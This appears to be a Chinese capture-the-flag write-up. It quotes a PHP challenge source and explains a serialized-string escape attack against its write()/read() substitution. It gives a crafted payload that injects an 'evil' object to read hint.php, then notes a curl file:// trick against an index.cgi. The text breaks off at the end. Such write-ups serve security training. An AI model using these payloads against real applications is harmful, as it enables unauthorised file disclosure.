拿到题目
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
看到源码就明白,是很常规的逃逸题目了。
这道题要用到evil这个类,但是这个完全没有入口。
入口为username和password的user类。
然后关键点在于:
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
也就是6字符的\0\0\0,转换为3字符的chr(0)*chr(0),这就有了差异,所以就会有了逃逸。
$a = new evil('hint.php');
$c = serialize($a);
print_r($c);
//O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
需要将上面的进行逃逸。随便输入一个username为admin,然后将序列化内容带入password:
//O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
也就是从左到右吞,将:
吞掉。这一共是23个字符,因为每6个会转换为3个,所以要是3的倍数。加一个1,变成24个。然后又因为需要闭合,所以需要加 "; 这两个符号。最后结果为:
//O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"1";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
是为24字符+2闭合符号。
24个字符,也就是8组\0\0\0,传参
解码base64得:
index.cgi,访问,得到:
看到curl和url,感觉像是ssrf,试试。但是回显感觉又不是。然后不知道怎么做了。
看到wp知道,直接file://协议,但是前面得加空格。因为是curl命令,所以得加空格?不知道这么理解对不对。
然后: